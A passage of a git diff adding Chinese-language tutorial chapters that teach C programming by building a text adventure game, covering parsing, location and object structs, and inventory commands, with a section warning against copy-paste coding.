+   return true;
+}
+```
+
+你的编译器可能会给出警告 the unused variable‘noun’，这些不用担心，将会在下一章解决。
+
+返回*false*将导致主循环结束。
+
+::: warning <font size=5>**RTFM&&STFW**</font>
+搞懂 strtok 和 strcmp 的用法
+:::
+
+考虑一下 NULL 是干什么的
+
+测试样例
+
+Welcome to Little Cave Adventure.
+It is very dark in here.
+
+--> go north
+It's too dark to go anywhere.
+
+--> look around
+It is very dark in here.
+
+--> eat sandwich
+I don't know how to 'eat'.
+
+--> quit
+
+Bye
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md
new file mode 100644
index 0000000..e357152
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点.md
@@ -0,0 +1,274 @@
+# 3.指明地点
+
+::: warning <font size=5>某种极其糟糕的编程习惯</font>
+<font size=5><strong>Copy-paste</strong></font>
+
+我们很多同学在编程的过程中，可能会写出一大堆重复性很强的代码，在最近看的 pa 中，举了这样一个例子，你不需要看懂只需要感受到就可：
+:::
+
+```c
+if (strcmp(s, "$0") == 0)
+  return cpu.gpr[0]._64;
+else if (strcmp(s, "ra") == 0)
+  return cpu.gpr[1]._64;
+else if (strcmp(s, "sp") == 0)
+  return cpu.gpr[2]._64;
+else if (strcmp(s, "gp") == 0)
+  return cpu.gpr[3]._64;
+else if (strcmp(s, "tp") == 0)
+  return cpu.gpr[4]._64;
+else if (strcmp(s, "t0") == 0)
+  return cpu.gpr[5]._64;
+else if (strcmp(s, "t1") == 0)
+  return cpu.gpr[6]._64;
+else if (strcmp(s, "s2") == 0)
+  return cpu.gpr[7]._64;
+else if (strcmp(s, "s0") == 0)
+  return cpu.gpr[8]._64;
+else if (strcmp(s, "s1") == 0)
+  return cpu.gpr[9]._64;
+else if (strcmp(s, "a0") == 0)
+  return cpu.gpr[10]._64;
+else if (strcmp(s, "a1") == 0)
+  return cpu.gpr[11]._64;
+else if (strcmp(s, "a2") == 0)
+  return cpu.gpr[12]._64;
+else if (strcmp(s, "a3") == 0)
+  return cpu.gpr[13]._64;
+else if (strcmp(s, "a4") == 0)
+  return cpu.gpr[14]._64;
+else if (strcmp(s, "a5") == 0)
+  return cpu.gpr[15]._64;
+else if (strcmp(s, "a6") == 0)
+  return cpu.gpr[16]._64;
+else if (strcmp(s, "a7") == 0)
+  return cpu.gpr[17]._64;
+else if (strcmp(s, "s2") == 0)
+  return cpu.gpr[18]._64;
+else if (strcmp(s, "s3") == 0)
+  return cpu.gpr[19]._64;
+else if (strcmp(s, "s4") == 0)
+  return cpu.gpr[20]._64;
+else if (strcmp(s, "s5") == 0)
+  return cpu.gpr[21]._64;
+else if (strcmp(s, "s6") == 0)
+  return cpu.gpr[22]._64;
+else if (strcmp(s, "s7") == 0)
+  return cpu.gpr[23]._64;
+else if (strcmp(s, "s8") == 0)
+  return cpu.gpr[24]._64;
+else if (strcmp(s, "s8") == 0)
+  return cpu.gpr[25]._64;
+else if (strcmp(s, "s10") == 0)
+  return cpu.gpr[26]._64;
+else if (strcmp(s, "t2") == 0)
+  return cpu.gpr[27]._64;
+else if (strcmp(s, "t3") == 0)
+  return cpu.gpr[28]._64;
+else if (strcmp(s, "t4") == 0)
+  return cpu.gpr[29]._64;
+else if (strcmp(s, "t5") == 0)
+  return cpu.gpr[30]._64;
+else if (strcmp(s, "t5") == 0)
+  return cpu.gpr[31]._64;
+```
+
+以下是某论文的代码节选，可以说是错误的范例：
+
+```python
+fx = torch.cat((xs[0], fs[0], xs[1], fs[1], xs[2], fs[2], xs[3], fs[3], xs[4], fs[4], xs[5], fs[5], xs[6], fs[6], xs[7], fs[7],
+    xs[8], fs[8], xs[9], fs[9], xs[10], fs[10], xs[11], fs[11], xs[12], fs[12], xs[13], fs[13], xs[14], fs[14], xs[15], fs[15],
+    xs[16], fs[16], xs[17], fs[17], xs[18], fs[18], xs[19], fs[19], xs[20], fs[20], xs[21], fs[21], xs[22], fs[22], xs[23], fs[23],
+    xs[24], fs[24], xs[25], fs[25], xs[26], fs[26], xs[27], fs[27], xs[28], fs[28], xs[29], fs[29], xs[30], fs[30], xs[31], fs[31]), 1)
+bx = torch.cat((xs[0], bs[0], xs[1], bs[1], xs[2], bs[2], xs[3], bs[3], xs[4], bs[4], xs[5], bs[5], xs[6], bs[6], xs[7], bs[7],
+               xs[8], bs[8], xs[9], bs[9], xs[10], bs[10], xs[11], bs[11], xs[12], bs[12], xs[13], bs[13], xs[14], bs[14], xs[15], bs[15],
+               xs[16], bs[16], xs[17], bs[17], xs[18], bs[18], xs[19], bs[19], xs[20], bs[20], xs[21], bs[21], xs[22], bs[22], xs[23], bs[23],
+               xs[24], bs[24], xs[25], bs[25], xs[26], bs[26], xs[27], bs[27], xs[28], bs[28], xs[29], bs[29], xs[30], bs[30], xs[31], bs[31]), 1)
+```
+
+::: tip <font size=5>你想想，你遇到这么长的代码，你愿意看他吗？</font>
+
+更可怕的是，这种编码模式可能会导致意想不到的 bug。
+
+当你发现这些代码有 bug 的时候，噩梦才刚刚开始。也许花了好几天你又调出一个 bug 的时候，才会想起这个 bug 你好像之前在哪里调过。你也知道代码里面还有类似的 bug, 但你已经分辨不出哪些代码是什么时候从哪个地方复制过来的了。
+
+这种糟糕的编程习惯叫 Copy-Paste, 经过上面的分析，相信你也已经领略到它的可怕了。事实上，[周源源教授](https://cseweb.ucsd.edu/~yyzhou/)的团队在 2004 年就设计了一款工具 CP-Miner, 来自动检测操作系统代码中由于 Copy-Paste 造成的 bug. 这个工具还让周源源教授收获了一篇[系统方向顶级会议 OSDI 的论文](http://pages.cs.wisc.edu/~shanlu/paper/OSDI04-CPMiner.pdf), 这也是她当时所在学校 UIUC 史上的第一篇系统方向的顶级会议论文。
+
+后来周源源教授发现，相比于操作系统，应用程序的源代码中 Copy-Paste 的现象更加普遍。于是她们团队把 CP-Miner 的技术应用到应用程序的源代码中，并创办了 PatternInsight 公司。很多 IT 公司纷纷购买 PatternInsight 的产品，并要求提供相应的定制服务，甚至 PatternInsight 公司最后还被 VMWare 收购了。
+
+这个故事折射出，大公司中程序员的编程习惯也许不比你好多少，他们也会写出 Copy-Paste 这种难以维护的代码。但反过来说，重视编码风格这些企业看中的能力，你从现在就可以开始培养。
+:::
+
+*传统上，文本冒险是由（许多）不同位置组成的虚拟世界。虽然这不是必需的（一些冒险发生在一个房间里！），但这是解释**数据结构**使用的好方法。*
+
+我们首先定义一个[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language))来表示一个位置。它包含两个简单的属性开始（稍后可能会有更多的属性）。
+
+1. 描述：对物品进行描述
+2. 标记：具体的对其进行标记
+
+```c
+struct location { 
+        const char *description; 
+        const char *tag; 
+     };
+```
+
+::: warning 🤔 思考题：
+  我们为什么要用结构体来保存位置？
+
+  这样子做有什么好处？
+
+  const 又是什么？
+:::
+
+接下来，我们定义一个位置数组。目前，我们保持它非常简单：只有两个位置。
+
+```c
+struct location locs[2];
+```
+
+我们还可以使用初始值设定项立即填充所有静态数据。
+
+```c
+struct location locs[2] = {
+   {"an open field", "field"},
+   {"a little cave", "cave"}
+};
+```
+
+让我们把它付诸实践。在上一章（*parsexec.c）* 的代码示例中，我们更改了第 4、18 和 22 行）。
+
+## <strong>parsexec.c</strong>
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "location.h"
+
+bool parseAndExecute(char *input)
+{
+   char *verb = strtok(input, " \n");
+   char *noun = strtok(NULL, " \n");
+   if (verb != NULL)
+   {
+      if (strcmp(verb, "quit") == 0)
+      {
+         return false;
+      }
+      else if (strcmp(verb, "look") == 0)
+      {
+         executeLook(noun);
+      }
+      else if (strcmp(verb, "go") == 0)
+      {
+         executeGo(noun);
+      }
+      else
+      {
+         printf("I don't know how to '%s'.\n", verb);
+      }
+   }
+   return true;
+}
+```
+
+接下来，我们将一个新模块添加到项目中
+
+## <strong>location.h</strong>
+
+```c
+extern void executeLook(const char *noun);
+extern void executeGo(const char *noun);
+```
+
+## <strong>location.c</strong>
+
+```c
+#include <stdio.h>
+#include <string.h>
+
+struct location {
+   const char *description;
+   const char *tag;
+}
+locs[] = {
+   {"an open field", "field"},
+   {"a little cave", "cave"}
+};
+
+#define numberOfLocations   (sizeof locs / sizeof *locs)
+//欸？这个是干啥呢？
+static unsigned locationOfPlayer = 0;
+
+void executeLook(const char *noun)
+{
+   if (noun != NULL && strcmp(noun, "around") == 0)
+   {
+      printf("You are in %s.\n", locs[locationOfPlayer].description);
+   }
+   else
+   {
+      printf("I don't understand what you want to see.\n");
+   }
+}
+
+void executeGo(const char *noun)
+{
+   unsigned i;
+   for (i = 0; i < numberOfLocations; i++)
+   {
+      if (noun != NULL && strcmp(noun, locs[i].tag) == 0)
+      {
+         if (i == locationOfPlayer)
+         {
+            printf("You can't get much closer than this.\n");
+         }
+         else
+         {
+            printf("OK.\n");
+            locationOfPlayer = i;
+            executeLook("around");
+         }
+         return;
+      }
+   }
+   printf("I don't understand where you want to go.\n");
+}
+```
+
+在 C 语言中，你可以使用单个语句来定义类型（*结构位置*），声明变量（*locs*）并用其初始值填充它。
+
+思考题：变量*locs*是[静态分配的](http://en.wikipedia.org/wiki/Static_memory_allocation)，什么是静态分配？
+
+静态分配和动态分配有什么不同之处？
+
+复杂思考题：13 行宏定义好像实现了一个函数！很神奇！为什么不用函数来做这个知识呢？
+
+提示：这个问题涉及编程从代码到可执行文件的四个步骤，希望你可以认真学习和思考，如果你用 Linux 去完成。你可以尝试用 gcc 逐步输出编译结果。
+
+测试样例：
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+
+--> go cave
+OK.
+You are in a little cave.
+
+--> go field
+OK.
+You are in an open field.
+
+--> go field
+You can't get much closer than this.
+
+--> look around
+You are in an open field.
+
+--> go kitchen
+I don't understand where you want to go.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md
new file mode 100644
index 0000000..1665537
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象.md
@@ -0,0 +1,360 @@
+# 4.创建对象
+
+*在我们继续之前，我们在这里使用的是[哲学意义上](https://en.wikipedia.org/wiki/Object_(philosophy))的“对象”一词。它与[面向对象编程](https://en.wikipedia.org/wiki/Object-oriented_programming)无关，也与Java，C#和Python等编程语言中预定义的“对象”类型没有任何共同之处。下面，我将定义一个名为 object 的结构体。*
+
+冒险游戏中的大多数谜题都围绕着**物品**。例子：
+
+- 必须找到一把钥匙，然后用来解锁某扇门。
+- 必须杀死守卫或者诱骗守卫才能开启房间
+
+所以，为了表示这个物品，我们可以使用如下[结构](http://en.wikipedia.org/wiki/Struct_(C_programming_language))：
+
+- **\*description: 对物品的描述**
+- **\*tag: 物品的类型**
+- **\*location: 物品所在的位置。这是对应上一章中定义的物品位置的指针。**
+
+```c
+struct object {
+   const char   *description;
+   const char   *tag;
+   struct location *location;
+}
+objs[] = {
+   {"a silver coin", "silver", &locs[0]},
+   {"a gold coin"  , "gold"  , &locs[1]},
+   {"a burly guard", "guard" , &locs[0]}
+};
+```
+
+我们发现这一章的物品的信息和上一章好像也差不多呀，所以我们直接把他合并好了！
+
+```c
+struct object {
+   const char    *description;
+   const char    *tag;
+   struct object *location;
+}
+objs[] = {
+   {"an open field", "field" , NULL},
+   {"a little cave", "cave"  , NULL},
+   {"a silver coin", "silver", &objs[0]},
+   {"a gold coin"  , "gold"  , &objs[1]},
+   {"a burly guard", "guard" , &objs[0]}
+};
+```
+
+这样子我们的代码就会看起来更加简洁！
+
+我们发现 OBJECT 的结构体里面有一个指针和自己长得一样，不用担心，这和链表的操作类似。
+
+::: warning 🤔 思考题：
+链表是什么，为什么要有这么一个操作指针？
+
+链表和数组有什么异同点，他们分别在增删改查上有什么优劣？
+:::
+
+为了更容易地用那些所谓的物品或者是地点，我们将为每个元素定义一个名字
+
+```c
+#define field   (objs + 0)
+#define cave    (objs + 1)
+#define silver  (objs + 2)
+#define gold    (objs + 3)
+#define guard   (objs + 4)
+```
+
+如何用各个元素的指针来方便的进行操作呢？
+
+```c
+printf("You are in %s.\n", field->description);
+```
+
+然后用这样的操作可以列出一个物品里面所有的小东西
+
+```c
+struct object *obj;
+for (obj = objs; obj < objs + 5; obj++)
+{
+   if (obj->location == cave)
+   {
+      printf("%s\n", obj->description);
+   }
+}
+```
+
+::: warning 🤔 暂停理解一下吧
+:::
+
+那么，我们有合并这个物品（或地点）列表有什么好处呢？答案是这会让我们的代码变得更加简单，因为许多函数（如上面的函数通过这样的列表）只需要扫描单个列表就可以实现，而不是三个列表。有人可能会说没必要，因为每个命令仅适用于一种类型的对象：
+
+- 命令 *go* 适用于位置对象。
+- 命令 *get* 应用于获得物品。
+- 命令 kill 适应用于杀死人物。
+
+但这种方法不太对劲，原因有三：
+
+1. 某些命令适用于多种类型的对象，尤其是*检查*。
+2. 有时候会出现很没意思的交互方式，比如说你要吃掉守卫，他说不行。
+3. 某些对象在游戏中可能具有多个角色。比如说队友系统，NPC 可以是你的物品也可以是对象
+
+将所有对象放在一个大列表中，很容易添加一个名为“type”的属性来*构造对象*，以帮助我们区分不同类型的对象。
+
+::: warning 🤔 怎么做怎么遍历呢？先思考吧
+:::
+
+但是，对象通常具有同样有效的其他特征：
+
+- **Locations：通过道路连接（将在后面介绍）。如果一个物体无法通过一条通道到达，那么它就不是一个位置。就是这么简单。**
+- **Items：玩家唯一可以捡起的物品;可以给他们整一个重量的属性**
+- **Actors：玩家唯一可以与之交谈，交易，战斗的对象;当然，前提是他们还活着！可以加一个 HP 属性**
+
+我们还要向数组中添加一个对象：玩家自己。
+
+在上一章中，有一个单独的变量 *locationOfPlayer*。我们将删除它，然后换上用户的位置属性取代他！
+
+例如，此语句会将玩家移入洞穴：
+
+```c
+player->location = cave;
+```
+
+此表达式返回玩家当前位置的描述：
+
+```c
+player->location->description
+```
+
+是时候把它们放在一起了。我们从对象数组的全新模块开始
+
+## Object.h
+
+```c
+typedef struct object {
+   const char    *description;
+   const char    *tag;
+   struct object *location;
+} OBJECT;
+
+extern OBJECT objs[];
+
+#define field      (objs + 0)
+#define cave       (objs + 1)
+#define silver     (objs + 2)
+#define gold       (objs + 3)
+#define guard      (objs + 4)
+#define player     (objs + 5)
+
+#define endOfObjs  (objs + 6)
+```
+
+## Object.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+OBJECT objs[] = {
+   {"an open field", "field"   , NULL  },
+   {"a little cave", "cave"    , NULL  },
+   {"a silver coin", "silver"  , field },
+   {"a gold coin"  , "gold"    , cave  },
+   {"a burly guard", "guard"   , field },
+   {"yourself"     , "yourself", field }
+};
+```
+
+<strong>注意：</strong>要编译此模块，编译器*必须*支持 Constant folding。这排除了一些更原始的编译器，如 [Z88DK](http://en.wikipedia.org/wiki/Z88DK)。
+
+以下模块将帮助我们找到与指定名词匹配的对象。
+
+## noun.h
+
+```c
+extern OBJECT *getVisible(const char *intention, const char *noun);
+```
+
+::: warning <font size=5>**🤔 指针？函数？希望你已经掌握这是什么了**</font>
+:::
+
+## noun.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0;
+}
+
+static OBJECT *getObject(const char *noun)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun))
+      {
+         res = obj;
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun);
+   if (obj == NULL)
+   {
+      printf("I don't understand %s.\n", intention);
+   }
+   else if (!(obj == player || 
+               //玩家本人。是的，这也是一个可见的物体。
+              obj == player->location ||
+               //玩家的当前位置。
+              obj->location == player ||
+               //玩家持有的物品
+              obj->location == player->location ||
+               //玩家当前位置的物体
+              obj->location == NULL ||
+               //玩家可以去的任意位置，具体完善在后面
+              obj->location->location == player ||
+               //玩家持有的另一个物体内的物体
+              obj->location->location == player->location))
+               //当前位置存在的另一个对象内部的对象
+   {
+      printf("You don't see any %s here.\n", noun);
+      obj = NULL;
+   }
+   return obj;
+   //感受到注释有多伟大了吧
+}
+```
+
+这是另一个辅助程序的函数。它打印存在于特定位置的对象（物品，NPC）的列表。它将用于函数 *executeLook*，在下一章中，我们将介绍另一个需要它的命令。
+
+## misc.h
+
+```c
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && obj->location == location)
+      //排除玩家在玩家的位置这种蠢东西
+      {
+         if (count++ == 0)
+         //我们需要保证找到一个东西之前他不会打印 you see
+         {
+            printf("You see:\n");
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+   //返回的是数目的数量，下一章对此做额外操作
+}
+```
+
+在 *location.c* 中，命令环*顾四周的实现*，并根据新的数据结构进行调整。旧的位置数组被删除，变量 *locationOfPlayer* 也是如此。
+
+## location.h
+
+```c
+extern void executeLook(const char *noun);
+extern void executeGo(const char *noun);
+```
+
+## location.c
+
+```c
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+
+void executeLook(const char *noun)
+{
+   if (noun != NULL && strcmp(noun, "around") == 0)
+   {
+      printf("You are in %s.\n", player->location->description);
+      listObjectsAtLocation(player->location);
+      //显示当前位置的玩家和物品
+   }
+   else
+   {
+      printf("I don't understand what you want to see.\n");
+   }
+}
+
+void executeGo(const char *noun)
+{
+//消除了函数*executeGo*中的循环，代码更优雅了~
+   OBJECT *obj = getVisible("where you want to go", noun);
+   if (obj == NULL)
+   {
+      // already handled by getVisible
+   }
+   else if (obj->location == NULL && obj != player->location)
+   {
+      printf("OK.\n");
+      player->location = obj;
+      executeLook("around");
+   }
+   else
+   {
+      printf("You can't get much closer than this.\n");
+   }
+}
+```
+
+你可以自由添加对象哦，自己设计一个游戏道具一定很有意思
+
+现在金银宝物散落一地可是我们捡不起来，下一章我们会试着解决问题
+
+测试样例：
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+
+--> go cave
+OK.
+You are in a little cave.
+You see:
+a gold coin
+
+--> go field
+OK.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+
+--> go field
+You can't get much closer than this.
+
+--> look around
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md
new file mode 100644
index 0000000..574e9de
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品.md
@@ -0,0 +1,433 @@
+# 5.捡起物品
+
+在上一章中，我们制作了一个大大大数组来存储所有对象，包括玩家本人。
+
+通过将玩家视为对象的一部分，你已经成为了游戏的重要组成部分，而不是以局外人的视角看世界。
+
+这种方法的优势在具有玩家角色的游戏中变得最为明显，你可以换人 hhhhh。
+
+玩家属性不再需要存储在单独的变量中;我们可以使用与任何其他对象相同的数据结构。所以玩家，作为一个对象必须具有以下特点：
+
+- 所处位置（我在哪）
+- 玩家可能持有的任何物品的位置。
+
+这使得某些常见操作非常容易实现：
+
+|**Action**|**Typical Command**|**Example**|
+| ------------------------------ | --------- | ------------------------------------ |
+| 玩家从一个位置移动到另一个位置 | go        | player->location = cave;             |
+| 列出某个位置存在的项和参与者   | look      | listObjectsAtLocation(cave);         |
+| 玩家获取物品                   | get       | silver->location = player;           |
+| 玩家掉落物品                   | drop      | silver->location = player->location; |
+| 列出玩家的物品栏               | inventory | listObjectsAtLocation(player);       |
+| 玩家将物品赠送给演员           | give      | listObjectsAtLocation(player);       |
+| 玩家从演员那里收到物品         | ask       | silver->location = player;           |
+| 列出其他演员的库存             | examine   | listObjectsAtLocation(guard);        |
+
+你可以尝试去使用这些命令（上面的前两个示例已经在上一章中实现了）。现在，我们将为玩家和非玩家角色介绍一些典型的**物品栏**操作（命令*获取*、*掉落*、*给予*、*询问*和*物品栏*）。
+
+::: warning 🤔 思考题：
+你能不能尝试自己实现一下上面的命令？
+
+如果你可以在不参考下面内容的情况下就写出基本内容会有很大收获的
+:::
+
+## parsexec.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "location.h"
+#include "inventory.h"      //这是一个新模块
+
+bool parseAndExecute(char *input)
+{
+   char *verb = strtok(input, " \n");
+   char *noun = strtok(NULL, " \n");
+   //第二次使用 strtok 要用 NULL 传参
+   if (verb != NULL)
+   {
+      if (strcmp(verb, "quit") == 0)      
+      {
+         return false;
+      }
+      else if (strcmp(verb, "look") == 0)    //使游戏识别上述命令
+      {
+         executeLook(noun);
+      }
+      else if (strcmp(verb, "go") == 0)
+      {
+         executeGo(noun);
+      }
+      else if (strcmp(verb, "get") == 0)    
+      {
+         executeGet(noun);
+      }
+      else if (strcmp(verb, "drop") == 0)
+      {
+         executeDrop(noun);
+      }
+      else if (strcmp(verb, "give") == 0)
+      {
+         executeGive(noun);
+      }
+      else if (strcmp(verb, "ask") == 0)
+      {
+         executeAsk(noun);
+      }
+      else if (strcmp(verb, "inventory") == 0)
+      {
+         executeInventory();
+      }
+      else
+      {
+         printf("I don't know how to '%s'.\n", verb);
+      }
+   }
+   return true;
+}
+```
+
+新命令由以下模块实现。
+
+## inventory.h
+
+```c
+extern void executeGet(const char *noun);
+extern void executeDrop(const char *noun);
+extern void executeAsk(const char *noun);
+extern void executeGive(const char *noun);
+extern void executeInventory(void);
+```
+
+## inventory.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+#include "misc.h"
+#include "noun.h"
+#include "move.h"
+
+void executeGet(const char *noun)
+{
+   OBJECT *obj = getVisible("what you want to get", noun);
+   if (obj == NULL)
+   {
+      // already handled by getVisible
+   }
+   else if (obj == player)
+   {
+      printf("You should not be doing that to yourself.\n");
+   }
+   else if (obj->location == player)
+   {
+      printf("You already have %s.\n", obj->description);
+   }
+   else if (obj->location == guard)
+   {
+      printf("You should ask %s nicely.\n", obj->location->description);
+   }
+   else
+   {
+      moveObject(obj, player);   
+      //用于将对象传输到其新位置
+   }
+}
+
+void executeDrop(const char *noun)
+{
+   moveObject(getPossession(player, "drop", noun), player->location);
+}
+
+void executeAsk(const char *noun)
+{
+   moveObject(getPossession(actorHere(), "ask", noun), player);
+}
+
+void executeGive(const char *noun)
+{
+   moveObject(getPossession(player, "give", noun), actorHere());
+}
+
+void executeInventory(void)
+{
+   if (listObjectsAtLocation(player) == 0)  //函数返回值告诉我们有多少个对象
+   {
+      printf("You are empty-handed.\n"); //告诉用户啥也没有
+   }
+}
+```
+
+注意：由于动词名词比较好弄，命令 *ask* 和 *give* 只有一个参数：item。
+
+::: warning 🤔 思考题：
+为什么我们要这样设计？
+
+你能否为这些命令多加几个参数？
+:::
+
+从本质上讲，*get*, *drop*, *give* and *ask 这些命令*除了将项目从一个地方移动到另一个地方之外，什么都不做。单个函数 *move 对象*可以对所有四个命令执行该操作。
+
+## move.h
+
+```c
+extern void moveObject(OBJECT *obj, OBJECT *to);
+```
+
+## move.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+static void describeMove(OBJECT *obj, OBJECT *to)  //确认移动命令
+{
+   if (to == player->location)    
+   {
+      printf("You drop %s.\n", obj->description);
+   }
+   else if (to != player)
+   {
+      printf(to == guard ? "You give %s to %s.\n" : "You put %s in %s.\n",
+             obj->description, to->description);
+   }
+   else if (obj->location == player->location)
+   {
+      printf("You pick up %s.\n", obj->description);
+   }
+   else
+   {
+      printf("You get %s from %s.\n",
+             obj->description, obj->location->description);
+   }
+}
+
+void moveObject(OBJECT *obj, OBJECT *to)  
+{
+   if (obj == NULL)      //不移动的各种条件
+   {
+      // already handled by getVisible or getPossession
+   }
+   else if (to == NULL)
+   {
+      printf("There is nobody here to give that to.\n");
+   }
+   else if (obj->location == NULL)  //有些物体无法拾取，具体识别条件将在后面得到改进
+   {
+      printf("That is way too heavy.\n");
+   }
+   else
+   {
+      describeMove(obj, to);
+      obj->location = to;  //移动对象
+   }
+}
+```
+
+::: warning 🤔 思考题：识别一些我们拿不了的物品需要考虑什么因素？
+:::
+
+命令“get”使用函数*getVisible*将名词转换为 object，就像命令“go”一样;请参阅上一章。但是对于对玩家（或其他一些参与者）已经持有的对象进行*drop*, *ask*, *give 等*命令时，我们需要稍微不同的东西。我们将在 *noun.c* 中添加一个函数 *getPossession*。
+
+## noun.h
+
+```c
+extern OBJECT *getVisible(const char *intention, const char *noun);
+extern OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun);
+```
+
+## noun.c
+
+```c
+#include <stdbool.h>
+#include <stdio.h>
+#include <string.h>
+#include "object.h"
+
+static bool objectHasTag(OBJECT *obj, const char *noun)
+{
+   return noun != NULL && *noun != '\0' && strcmp(noun, obj->tag) == 0;
+}
+
+static OBJECT *getObject(const char *noun)
+{
+   OBJECT *obj, *res = NULL;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (objectHasTag(obj, noun))
+      {
+         res = obj;
+      }
+   }
+   return res;
+}
+
+OBJECT *getVisible(const char *intention, const char *noun)
+{
+   OBJECT *obj = getObject(noun);
+   if (obj == NULL)
+   {
+      printf("I don't understand %s.\n", intention);
+   }
+   else if (!(obj == player ||
+              obj == player->location ||
+              obj->location == player ||
+              obj->location == player->location ||
+              obj->location == NULL ||
+              obj->location->location == player ||
+              obj->location->location == player->location))
+   {
+      printf("You don't see any %s here.\n", noun);
+      obj = NULL;
+   }
+   return obj;
+}
+
+OBJECT *getPossession(OBJECT *from, const char *verb, const char *noun)
+{
+   OBJECT *obj = NULL;
+   if (from == NULL)
+   {
+      printf("I don't understand who you want to %s.\n", verb);
+   }
+   else if ((obj = getObject(noun)) == NULL)
+   {
+      printf("I don't understand what you want to %s.\n", verb);
+   }
+   else if (obj == from)
+   {
+      printf("You should not be doing that to %s.\n", obj->description);
+      obj = NULL;
+   }
+   else if (obj->location != from)
+   {
+      if (from == player)
+      {
+         printf("You are not holding any %s.\n", noun);
+      }
+      else
+      {
+         printf("There appears to be no %s you can get from %s.\n",
+                noun, from->description);
+      }
+      obj = NULL;
+   }
+   return obj;
+}
+```
+
+注意：新函数（45-75 行） *getPossession* 是 *getObject* 的装饰器（wrapper）（参见第 52 行），它要么返回匹配的对象，要么返回 NULL（如果没有合适的对象与名词匹配）。
+
+函数 *actor 这里*用于命令 *give* 和 *ask*，但它也可能由其他命令调用。所以我们在*misc.c*中定义了它。
+
+## misc.h
+
+```c
+extern OBJECT *actorHere(void);
+extern int listObjectsAtLocation(OBJECT *location);
+```
+
+## misc.c
+
+```c
+#include <stdio.h>
+#include "object.h"
+
+OBJECT *actorHere(void)
+{
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj->location == player->location && obj == guard) 
+      {
+         return obj;
+      }
+   }
+   return NULL;
+}
+
+int listObjectsAtLocation(OBJECT *location)
+{
+   int count = 0;
+   OBJECT *obj;
+   for (obj = objs; obj < endOfObjs; obj++)
+   {
+      if (obj != player && obj->location == location)
+      {
+         if (count++ == 0)
+         {
+            printf("You see:\n");
+         }
+         printf("%s\n", obj->description);
+      }
+   }
+   return count;
+}
+```
+
+::: warning 🤔 思考题：上面第四行中的函数 actorHere 返回的指针指向什么？
+:::
+
+在第 9 行中，有一个详尽的，硬编码的非玩家角色列表（到目前为止，只有一个：*守卫*）。
+
+在第 10 章中，我们将开始使用属性作为区分角色与项目和其他非参与者对象的更优雅方式。
+
+测试样例
+
+Welcome to Little Cave Adventure.
+You are in an open field.
+You see:
+a silver coin
+a burly guard
+
+--> get silver
+You pick up a silver coin.
+
+--> inventory
+You see:
+a silver coin
+
+--> look around
+You are in an open field.
+You see:
+a burly guard
+
+--> give silver
+You give a silver coin to a burly guard.
+
+--> inventory
+You are empty-handed.
+
+--> ask silver
+You get a silver coin from a burly guard.
+
+--> inventory
+You see:
+a silver coin
+
+--> go cave
+OK.
+You are in a little cave.
+You see:
+a gold coin
+
+--> give silver
+There is nobody here to give that to.
+
+--> drop silver
+You drop a silver coin.
+
+--> look around
+You are in a little cave.
+You see:
+a silver coin
+a gold coin
+
+--> inventory
+You are empty-handed.
+
+--> quit
+
+Bye!
diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md
new file mode 100644
index 0000000..070cc33
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图.md
@@ -0,0 +1,338 @@
+# 6.绘制地图
+
+作为一个 RPG 游戏怎么能没有地图呢，*是时候绘制地图了！*
+
+绘制地图的最佳工具始终是：一支铅笔和一张纸。基本地图由**位置**（矩形）组成，由道路（箭头）连接。我们已经在第 3 章中创建了位置，现在我们将开始添加道路。
+
+在虚拟世界中，“道路”可能是连接两个位置的任何东西：一条路，一扇门，沙漠中。基本上，一段经文具有以下属性：
+
+- 起点（位置）。
+- 目标（位置）。
+- 叙述性描述，例如“森林小径”。
+- 在 *go* 命令中往哪里走的描述性标记
+
